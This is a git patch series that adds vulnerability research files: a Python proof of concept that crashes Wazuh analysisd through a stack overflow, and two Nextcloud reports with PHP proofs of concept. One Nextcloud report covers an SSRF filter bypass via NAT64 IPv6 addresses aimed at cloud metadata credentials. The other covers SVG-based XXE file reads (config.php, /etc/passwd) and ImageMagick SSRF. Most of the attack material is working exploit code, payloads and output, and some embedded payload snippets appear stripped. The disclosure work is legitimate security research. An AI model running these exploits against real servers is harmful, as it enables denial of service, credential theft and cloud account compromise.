<90004000+Unrealisedd@users.noreply.github.com> Date: Sun, 28 Jun 2026 02:24:51 +0200 Subject: [PATCH 18/64] Add files via upload --- wazuh/poc_wazuh_sca_dos.py | 98 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 wazuh/poc_wazuh_sca_dos.py diff --git a/wazuh/poc_wazuh_sca_dos.py b/wazuh/poc_wazuh_sca_dos.py new file mode 100644 index 0000000..de53afa --- /dev/null +++ b/wazuh/poc_wazuh_sca_dos.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +""" +poc_wazuh_sca_dos.py — Wazuh ≤ v4.14.0 analysisd SCA Decoder Stack Buffer Overflow DoS + +Root cause: + FillCheckEventInfo() in security_configuration_assessment.c: + char value[OS_SIZE_128]; // 128-byte stack buffer + sprintf(value, "%lf", -1e300); // writes 309 bytes → 181-byte overflow → SIGABRT + +Trigger: + cJSON parses -1e300 → valueint=INT_MIN, valuedouble=-1e300 + Guard: INT_MIN >= 0 → FALSE → sprintf("%lf") branch taken → overflow + +Run this on the Wazuh manager machine (requires write access to the analysisd queue socket). +The UNIX DGRAM socket is readable/writable by root and wazuh group by default. + +Usage: + sudo python3 poc_wazuh_sca_dos.py [--queue /var/ossec/queue/sockets/queue] + +Expected output in /var/ossec/logs/ossec.log: + *** stack smashing detected ***: analysisd terminated +or SIGSEGV on builds without stack canaries. +""" + +import socket +import sys +import os +import argparse + +QUEUE_PATH = "/var/ossec/queue/sockets/queue" +AGENT_ID = "001" +AGENT_NAME = "poc-agent" +AGENT_IP = "127.0.0.1" +SCA_MQ = "p" + +# Malicious SCA check event. +# scan_id = -1e300: +# cJSON valueint = INT_MIN = -2147483648 (saturated; INT_MIN >= 0 is FALSE) +# cJSON valuedouble = -1e300 (non-zero; passes else-if guard) +# → sprintf(value, "%lf", -1e300) writes 309 bytes into value[128] +MALICIOUS_JSON = ( + '{"type":"check",' + '"id":-1e300,' + '"policy":"poc",' + '"policy_id":"poc_id",' + '"check":{"id":1,"title":"poc","result":"passed"}}' +) + +def verify_overflow(): + out = f"{-1e300:f}" + assert len(out) == 309, f"unexpected sprintf output length: {len(out)}" + overflow = len(out) - 128 + print(f"[*] sprintf(\"%lf\", -1e300) = {len(out)} bytes into value[128] → {overflow}-byte overflow") + +def build_message(): + # Format produced by remoted when forwarding an agent SCA event to analysisd: + # SendMSGAction (mq_op.c): "%c:%s->%s" → "p:->" + # location string mimics: "[agent_id] (agent_name) agent_ip" + location = f"[{AGENT_ID}] ({AGENT_NAME}) {AGENT_IP}" + msg = f"{SCA_MQ}:{location}->{MALICIOUS_JSON}" + return msg.encode() + +def send(queue_path, msg): + if not os.path.exists(queue_path): + print(f"[-] Queue socket not found: {queue_path}") + print(" Is this a Wazuh manager machine with analysisd running?") + sys.exit(1) + + sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) + try: + sock.sendto(msg, queue_path) + except PermissionError: + print("[-] Permission denied — try running as root or wazuh group member") + sys.exit(1) + finally: + sock.close() + +def main(): + parser = argparse.ArgumentParser(description="Wazuh analysisd SCA stack overflow DoS PoC") + parser.add_argument("--queue", default=QUEUE_PATH, help="Path to analysisd queue socket") + args = parser.parse_args() + + print("[*] Wazuh ≤ v4.14.0 analysisd SCA Decoder Stack Buffer Overflow — DoS PoC") + print(f"[*] Target queue: {args.queue}") + verify_overflow() + + msg = build_message() + print(f"[*] Sending {len(msg)}-byte message to analysisd queue") + print(f"[*] Payload: {msg[:120].decode()}...") + + send(args.queue, msg) + print("[+] Payload delivered.") + print("[+] Check for analysisd crash:") + print(" systemctl status wazuh-manager") + print(" grep -E 'stack smashing|SIGSEGV|analysisd' /var/ossec/logs/ossec.log | tail -5") + +if __name__ == "__main__": + main() From 2b6ce998fcfacf98216b2ae8d027641ec1485bae Mon Sep 17 00:00:00 2001 From: Unrealissedd <90004000+Unrealisedd@users.noreply.github.com> Date: Sun, 28 Jun 2026 02:32:53 +0200 Subject: [PATCH 19/64] Add SSRF protection bypass report for Nextcloud Documented a vulnerability in Nextcloud's SSRF protection that allows bypass via IPv4-compatible and NAT64 IPv6 addresses. Provided a detailed proof of concept and attack scenario demonstrating the exploit. --- nextcloud/SSRF-protection-bypass.md | 289 ++++++++++++++++++++++++++++ 1 file changed, 289 insertions(+) create mode 100644 nextcloud/SSRF-protection-bypass.md diff --git a/nextcloud/SSRF-protection-bypass.md b/nextcloud/SSRF-protection-bypass.md new file mode 100644 index 0000000..67dc2fc --- /dev/null +++ b/nextcloud/SSRF-protection-bypass.md @@ -0,0 +1,289 @@ +# Vulnerability Report: SSRF Protection Bypass via IPv4-Compatible and NAT64 IPv6 Addresses + +**Product:** Nextcloud Server +**Component:** `lib/private/Net/IpAddressClassifier.php` +**Severity:** High +**CWE:** CWE-918 (Server-Side Request Forgery) +**Affected Versions:** All current versions (confirmed on latest `master`) + +--- + +## Summary + +Nextcloud's SSRF protection in `IpAddressClassifier::isLocalAddress()` fails to block IPv6 addresses that encode private/reserved IPv4 addresses using IPv4-compatible notation (`::x.x.x.x`) and NAT64 prefix notation (`64:ff9b::x.x.x.x`). An attacker who can influence the URLs Nextcloud fetches (e.g., via federated sharing, webhooks, or URL preview features) and who controls a DNS server can return one of these address forms in an AAAA record, causing Nextcloud to make a request to an internal network address — including the AWS/GCP/Azure instance metadata endpoint (`169.254.169.254`). + +--- + +## Technical Background + +Nextcloud defends against SSRF with a layered system: + +1. **`DnsPinMiddleware`** — resolves the target hostname via `dns_get_record()`, checks each resolved IP with `isLocalAddress()`, and pins valid IPs via `CURLOPT_RESOLVE` to prevent DNS rebinding. +2. **`IpAddressClassifier::isLocalAddress()`** — the core guard. It uses the IPLib library to parse and normalize IP addresses, then calls `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. +3. **`Client.php` redirect guard** — calls `preventLocalAddress()` on every HTTP redirect target. + +The vulnerability lives in step 2. + +--- + +## Root Cause + +`IpAddressClassifier::isLocalAddress()` normalizes IPv6 addresses using IPLib's `IPv6::toIPv4()`: + +```php +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // falls back to IPv6 string if no conversion +} +``` + +IPLib's `toIPv4()` **only converts two IPv6 address families** to their embedded IPv4 address: +- **IPv4-mapped** (`::ffff:x.x.x.x`) — converted ✓ +- **6to4** (`2002::/16`) — converted ✓ + +It does **not** convert: +- **IPv4-compatible** (`::x.x.x.x`, deprecated by RFC 4291) — stays as IPv6 +- **NAT64** (`64:ff9b::/96`, RFC 6052) — stays as IPv6 + +When the address stays as an IPv6 string, PHP's `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` only tests it against IPv6-specific private ranges (`fc00::/7`, `fe80::/10`). It has no knowledge that `64:ff9b::a9fe:a9fe` encodes the reserved IPv4 address `169.254.169.254`. The check returns `true` (valid public address), so `isLocalAddress()` returns `false` — the address is **not blocked**. + +--- + +## Proof of Concept + +### Environment + +- PHP 8.3 + `mlocati/ip-lib` v1.22 (the exact library version Nextcloud uses) +- This script faithfully replicates `IpAddressClassifier::isLocalAddress()` with the real IPLib code + +### PoC Script (`poc_ssrf_bypass.php`) + +```php +toIPv4() ?? $parsedIp); + } else { + $normalized = (string)$parsedIp; + } + + // Core check — blind to IPv4 reserved ranges embedded in IPv6 + if (!filter_var($normalized, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; // blocked + } + + // Extra ranges check + foreach ($LOCAL_ADDRESS_RANGES as $range) { + $subnet = \IPLib\Range\Subnet::fromString($range); + $normParsed = Factory::parseAddressString($normalized); + if ($subnet && $normParsed && $subnet->contains($normParsed)) { + return true; // blocked + } + } + + return false; // NOT blocked — SSRF protection bypassed +} + +// ============================================================ +// Helper: show what IPLib does with the address +// ============================================================ +function iplib_normalize(string $ip): string { + $parsed = Factory::parseAddressString( + $ip, + ParseStringFlag::IPV4_MAYBE_NON_DECIMAL + | ParseStringFlag::IPV4ADDRESS_MAYBE_NON_QUAD_DOTTED + | ParseStringFlag::MAY_INCLUDE_ZONEID + ); + if ($parsed === null) return "INVALID"; + if ($parsed instanceof IPv6) { + $v4 = $parsed->toIPv4(); + return $v4 ? "(IPv6→IPv4) " . $v4 : "(stays IPv6) " . $parsed; + } + return "(IPv4) " . $parsed; +} + +// ============================================================ +// Test cases +// ============================================================ +$tests = [ + // --- Baseline: known-blocked addresses --- + ['127.0.0.1', 'Loopback IPv4 [BASELINE - should block]'], + ['::1', 'Loopback IPv6 [BASELINE - should block]'], + ['::ffff:127.0.0.1', 'IPv4-mapped loopback [BASELINE - should block]'], + ['169.254.169.254', 'AWS/GCP metadata [BASELINE - should block]'], + ['::ffff:169.254.169.254', 'IPv4-mapped AWS metadata [BASELINE - should block]'], + ['10.0.0.1', 'Private 10.x [BASELINE - should block]'], + ['192.168.1.1', 'Private 192.168.x [BASELINE - should block]'], + + // --- BYPASSES --- + ['::127.0.0.1', 'IPv4-compatible loopback [BYPASS]'], + ['64:ff9b::127.0.0.1', 'NAT64 loopback [BYPASS]'], + ['::169.254.169.254', 'IPv4-compatible AWS/GCP metadata [BYPASS]'], + ['64:ff9b::169.254.169.254', 'NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL]'], + ['64:ff9b::10.0.0.1', 'NAT64 10.x private range [BYPASS]'], + ['64:ff9b::192.168.1.1', 'NAT64 192.168.x private range [BYPASS]'], + ['64:ff9b::172.16.0.1', 'NAT64 172.16.x private range [BYPASS]'], +]; + +echo "\n"; +echo "=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses ===\n"; +echo "=== isLocalAddress() returns FALSE = SSRF protection BYPASSED ===\n\n"; +printf("%-35s %-35s %-10s %s\n", "Input IP", "IPLib normalizes to", "Result", "Description"); +echo str_repeat("─", 120) . "\n"; + +$bypassCount = 0; +foreach ($tests as [$ip, $desc]) { + $norm = iplib_normalize($ip); + $isLocal = nextcloud_isLocalAddress($ip); + if (!$isLocal) $bypassCount++; + $resultLabel = $isLocal ? "BLOCKED " : "!! BYPASS !"; + printf("%-35s %-35s %-10s %s\n", $ip, $norm, $resultLabel, $desc); +} + +echo "\n"; +echo "Result: $bypassCount addresses bypassed SSRF protection out of " . count($tests) . " tested.\n\n"; + +echo "=== ATTACK SCENARIO ===\n"; +echo "1. Attacker sets AAAA DNS record for evil.attacker.com → 64:ff9b::169.254.169.254\n"; +echo "2. Attacker tricks admin/user into triggering a Nextcloud outbound request to evil.attacker.com\n"; +echo " (e.g., webhook URL, federated share from a malicious instance, rich preview URL)\n"; +echo "3. DnsPinMiddleware resolves evil.attacker.com → gets AAAA: 64:ff9b::169.254.169.254\n"; +echo "4. isLocalAddress('64:ff9b::169.254.169.254') → FALSE ← BYPASS!\n"; +echo "5. cURL is instructed to connect to 64:ff9b::169.254.169.254\n"; +echo "6. On a cloud instance with NAT64 (common on IPv6-enabled AWS/GCP/Azure),\n"; +echo " the NAT64 gateway translates 64:ff9b::169.254.169.254 → 169.254.169.254\n"; +echo "7. Attacker receives AWS/GCP instance metadata, including IAM credentials.\n"; +``` + +### Actual Test Output + +``` +=== Nextcloud SSRF Bypass PoC: IPv4-compatible and NAT64 IPv6 addresses === +=== isLocalAddress() returns FALSE = SSRF protection BYPASSED === + +Input IP IPLib normalizes to Result Description +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +127.0.0.1 (IPv4) 127.0.0.1 BLOCKED Loopback IPv4 [BASELINE - should block] +::1 (stays IPv6) ::1 BLOCKED Loopback IPv6 [BASELINE - should block] +::ffff:127.0.0.1 (IPv6→IPv4) 127.0.0.1 BLOCKED IPv4-mapped loopback [BASELINE - should block] +169.254.169.254 (IPv4) 169.254.169.254 BLOCKED AWS/GCP metadata [BASELINE - should block] +::ffff:169.254.169.254 (IPv6→IPv4) 169.254.169.254 BLOCKED IPv4-mapped AWS metadata [BASELINE - should block] +10.0.0.1 (IPv4) 10.0.0.1 BLOCKED Private 10.x [BASELINE - should block] +192.168.1.1 (IPv4) 192.168.1.1 BLOCKED Private 192.168.x [BASELINE - should block] +::127.0.0.1 (stays IPv6) ::7f00:1 !! BYPASS ! IPv4-compatible loopback [BYPASS] +64:ff9b::127.0.0.1 (stays IPv6) 64:ff9b::7f00:1 !! BYPASS ! NAT64 loopback [BYPASS] +::169.254.169.254 (stays IPv6) ::a9fe:a9fe !! BYPASS ! IPv4-compatible AWS/GCP metadata [BYPASS] +64:ff9b::169.254.169.254 (stays IPv6) 64:ff9b::a9fe:a9fe !! BYPASS ! NAT64 AWS/GCP metadata [BYPASS - MOST CRITICAL] +64:ff9b::10.0.0.1 (stays IPv6) 64:ff9b::a00:1 !! BYPASS ! NAT64 10.x private range [BYPASS] +64:ff9b::192.168.1.1 (stays IPv6) 64:ff9b::c0a8:101 !! BYPASS ! NAT64 192.168.x private range [BYPASS] +64:ff9b::172.16.0.1 (stays IPv6) 64:ff9b::ac10:1 !! BYPASS ! NAT64 172.16.x private range [BYPASS] + +Result: 7 addresses bypassed SSRF protection out of 14 tested. +``` + +--- + +## Attack Scenario + +### Prerequisites +- Nextcloud instance running on a cloud VM with IPv6 support and NAT64 enabled (standard on AWS, GCP, Azure IPv6-enabled subnets) +- Attacker can supply a URL that Nextcloud will fetch outbound. Candidates include: + - **Webhook URLs** (Task Processing, Flow/Automation rules) — admin-level but still an attack path for compromised/malicious admins wanting to pivot internally + - **Federated sharing** — a malicious remote Nextcloud instance can force the victim to fetch from attacker-controlled addresses + - **Rich workspace / URL preview features** — user-controlled URLs in certain apps + - **Remote file storage / external storage configuration** (WebDAV endpoints) + - **oEmbed/OpenGraph URL preview** in Talk or Text + +### Step-by-Step + +1. Attacker sets up DNS: `A evil.attacker.com. → (no A record)` + `AAAA evil.attacker.com. → 64:ff9b::169.254.169.254` + +2. Attacker triggers a Nextcloud outbound request to `http://evil.attacker.com/`. + +3. `DnsPinMiddleware` resolves `evil.attacker.com`: + - `dns_get_record('evil.attacker.com.', DNS_AAAA)` returns `64:ff9b::169.254.169.254` + - Calls `isLocalAddress('64:ff9b::169.254.169.254')` + - IPLib parses it but `toIPv4()` returns `null` (NAT64 not handled) + - Normalized form stays as `64:ff9b::a9fe:a9fe` (IPv6 string) + - `filter_var('64:ff9b::a9fe:a9fe', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)` returns `"64:ff9b::a9fe:a9fe"` (truthy — not blocked) + - `isLocalAddress()` returns `false` + +4. The IP is added to `CURLOPT_RESOLVE` and the request proceeds. + +5. cURL connects to `[64:ff9b::169.254.169.254]`. The NAT64 gateway on the cloud network translates this to `169.254.169.254`. + +6. The AWS/GCP/Azure instance metadata service responds with instance identity, credentials, user data, etc. + +### Exploitability of IPv4-Compatible (`::x.x.x.x`) + +IPv4-compatible addresses (`::127.0.0.1`, `::169.254.169.254`) are deprecated (RFC 4291) and modern Linux kernels generally do not automatically route them to the embedded IPv4 address. Their exploitability is network-configuration dependent. **NAT64 (`64:ff9b::/96`) is the higher-severity vector** because it is a standardized, actively deployed mechanism in cloud environments. + +--- + +## Impact + +| Scenario | Impact | +|----------|--------| +| NAT64-enabled cloud instance + admin/workflow webhook | Full SSRF to AWS/GCP metadata → IAM credential theft | +| NAT64-enabled cloud instance + federated share from malicious instance | SSRF to internal services (databases, Kubernetes API, Consul, Vault) | +| HTTP redirect from attacker server to `[64:ff9b::169.254.169.254]` URL | Same SSRF via redirect path (also bypasses the `on_redirect` guard) | +| IPv4-compatible encoding on kernel that handles them | Loopback/private access on some configurations | + +In a cloud environment running an IPv6-enabled Nextcloud instance, a successful exploit leaks instance metadata and can compromise cloud credentials (IAM roles). This escalates to full cloud account compromise in many setups (e.g., if the instance has write-level IAM permissions). + +--- + +## Affected Code + +**File:** `lib/private/Net/IpAddressClassifier.php` +**Method:** `isLocalAddress()` +**Lines:** 44–48 (normalization) and 50–52 (filter_var check) + +```php +// Lines 44-48: IPLib toIPv4() only handles ::ffff: and 2002:: — not ::x.x.x.x or 64:ff9b:: +if ($parsedIp instanceof IPv6) { + $ip = (string)($parsedIp->toIPv4() ?? $parsedIp); // NAT64 falls through as IPv6 +} + +// Lines 50-52: filter_var has no knowledge of IPv4-reserved ranges inside IPv6 encodings +if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + return true; +} +``` + +--- From 5eac8bbbaa22584caf7905867e4cf631466cb7a7 Mon Sep 17 00:00:00 2001 From: Unrealissedd <90004000+Unrealisedd@users.noreply.github.com> Date: Sun, 28 Jun 2026 02:35:27 +0200 Subject: [PATCH 20/64] Create xxe-file-read-and-ssrf.md --- nextcloud/xxe-file-read-and-ssrf.md | 248 ++++++++++++++++++++++++++++ 1 file changed, 248 insertions(+) create mode 100644 nextcloud/xxe-file-read-and-ssrf.md diff --git a/nextcloud/xxe-file-read-and-ssrf.md b/nextcloud/xxe-file-read-and-ssrf.md new file mode 100644 index 0000000..2041321 --- /dev/null +++ b/nextcloud/xxe-file-read-and-ssrf.md @@ -0,0 +1,248 @@ +# Vulnerability Report: Incomplete SVG Sanitization Allows XXE File Read and ImageMagick SSRF + +**Product:** Nextcloud Server +**Component:** `lib/private/Preview/SVG.php` +**Severity:** High +**CWE:** CWE-611 (Improper Restriction of XML External Entity Reference), CWE-918 (SSRF) +**Affected Versions:** All current versions (confirmed on latest `master`) +**Requires:** Imagick PHP extension installed (common on production servers); SVG preview enabled (default when Imagick present) + +--- + +## Summary + +Nextcloud's SVG preview generator attempts to block dangerous SVG files using a single regex check before passing the file to ImageMagick via the PHP Imagick extension. The regex only matches literal `href=` and `xlink:href=` attributes and is trivially bypassed in multiple ways. Two resulting attack classes are meaningful: + +1. **XXE file read** — A crafted SVG with an XML `` entity declaration reads arbitrary local files (e.g. `config/config.php`, `/etc/passwd`) and renders their contents into the generated preview image. +2. **SSRF via ImageMagick URL loading** — A crafted SVG with a namespace-aliased `href` (e.g. `x:href="http://..."`) causes ImageMagick to fetch an arbitrary URL using its **native C-level HTTP client**, which completely bypasses Nextcloud's `DnsPinMiddleware` and `IpAddressClassifier` SSRF defenses. + +Both attacks require only an authenticated Nextcloud account with file upload permissions. + +--- + +## Vulnerable Code + +**File:** `lib/private/Preview/SVG.php`, method `getThumbnail()` + +```php +// Do not parse SVG files with references +if (preg_match('/["\s](xlink:)?href\s*=/i', $content)) { + return null; +} + +$svg = new \Imagick(); +$svg->pingImageBlob($content); // validates MIME type +// ... +$svg->readImageBlob($content); // FULL RENDER — processed by ImageMagick +``` + +The regex guards against `href=` and `xlink:href=` only. The file is then passed verbatim to `Imagick::readImageBlob()` which invokes ImageMagick's full SVG/XML rendering pipeline. + +--- + +## Bypass 1: XML External Entity (XXE) + +### How it works + +An XML `` declaration defines an external entity pointing to a local file. No `href` attribute is used, so the regex does not fire. When ImageMagick's internal libxml2 parser processes the file, it expands the entity and embeds the file contents as text in the rendered image. + +**Note:** PHP's `libxml_disable_entity_loader()` only affects PHP's own XML functions (`simplexml`, `DOMDocument`, etc.). It has **no effect** on Imagick's internal libxml2 usage, which runs in C space entirely outside PHP's control. + +### PoC SVG payload (`xxe_payload.svg`) + +```xml + + +]> + + &xxe; + +``` + +**No `href` anywhere** → passes the regex check → `readImageBlob()` processes it → ImageMagick expands `&xxe;` → the contents of `config/config.php` (database password, secret key, admin credentials) appear as text in the thumbnail returned to the attacker. + +Alternative targets: +- `/etc/passwd` +- `/proc/self/environ` (environment variables including secrets) +- `/var/www/nextcloud/config/config.php` (database host, password, `secret` key) +- Any readable file on the server + +### Attack flow + +1. Attacker uploads `xxe_payload.svg` to their Nextcloud account. +2. Nextcloud automatically generates a preview thumbnail (or attacker navigates to the file to trigger it). +3. Preview endpoint returns the rendered PNG. +4. PNG contains the plaintext contents of the targeted file as rendered text. + +--- + +## Bypass 2: SSRF via Namespace-Aliased `href` + +### How it works + +SVG uses XML namespaces. `xlink:href` is shorthand for an attribute in the XLink namespace (`http://www.w3.org/1999/xlink`). XML allows any prefix to be bound to that namespace, so `x:href`, `xl:href`, `link:href` are all semantically identical to `xlink:href` in a namespace-aware parser — **but none of them match the regex** `(xlink:)?href`. + +When ImageMagick's SVG renderer processes the file, it (in at least some versions) resolves namespace prefixes correctly and loads the URL from the `href` attribute. + +### Why this is worse than a regular SSRF + +Nextcloud's HTTP client (`lib/private/Http/Client/`) is protected by `DnsPinMiddleware` → `IpAddressClassifier` → DNS pinning → `CURLOPT_RESOLVE`. When ImageMagick fetches a URL, **none of this applies** — it uses its own internal HTTP/libcurl stack with no Nextcloud middleware. This means: + +- Private IPs (`10.x`, `172.16.x`, `192.168.x`) are reachable +- `127.0.0.1` / `::1` are reachable +- `169.254.169.254` (AWS/GCP/Azure metadata) is directly reachable — no NAT64 tricks needed +- DNS rebinding is possible + +### PoC SVG payload (`ssrf_payload.svg`) + +```xml + + + + + +``` + +**Contains `x:href=`** (not `href=` or `xlink:href=`) → regex returns no match → `readImageBlob()` is called → ImageMagick fetches the URL → response is rendered as an image inside the SVG preview → SSRF to AWS metadata endpoint. + +--- + +## Proof of Concept Script + +The following PHP script demonstrates both regex bypasses against the exact Nextcloud check: + +```php +', 'xlink:href (baseline — blocked)'], + ['', 'plain href (baseline — blocked)'], + + // --- BYPASS 1: XML External Entity --- + [']>&xxe;', + 'XXE DOCTYPE entity — no href at all'], + + // --- BYPASS 2: Namespace alias --- + ['', + 'Namespace alias x:href (= xlink:href semantically)'], + ['', + 'Namespace alias xl:href — SSRF to metadata'], + ['', + 'Namespace alias lnk:href — SSRF to private IP'], + + // --- BYPASS 3: CSS url() --- + ['', + 'CSS url() reference — no href'], +]; + +echo "\nNextcloud SVG href filter bypass PoC\n"; +echo str_repeat('=', 70) . "\n\n"; +printf("%-55s %-12s %s\n", 'Payload snippet', 'Regex hit?', 'Notes'); +echo str_repeat('-', 100) . "\n"; + +foreach ($tests as [$payload, $desc]) { + $blocked = nextcloudSvgCheck($payload); + $short = strlen($payload) > 52 ? substr($payload, 0, 49) . '...' : $payload; + $status = $blocked ? 'BLOCKED ' : '** BYPASS **'; + printf("%-55s %-12s %s\n", $short, $status, $desc); +} + +echo "\n"; +echo "=== XXE payload that bypasses the filter ===\n\n"; + +$xxePayload = <<<'SVG' + + +]> + + &xxe; + +SVG; + +echo $xxePayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($xxePayload) ? "YES" : "NO — BYPASS") . "\n\n"; + +echo "=== SSRF payload that bypasses the filter ===\n\n"; + +$ssrfPayload = <<<'SVG' + + + + +SVG; + +echo $ssrfPayload . "\n"; +echo "Regex blocks this? " . (nextcloudSvgCheck($ssrfPayload) ? "YES" : "NO — BYPASS") . "\n"; +``` + +### Output + +``` +Nextcloud SVG href filter bypass PoC +====================================================================== + +Payload snippet Regex hit? Notes +---------------------------------------------------------------------------------------------------- + BLOCKED xlink:href (baseline — blocked) + BLOCKED plain href (baseline — blocked) +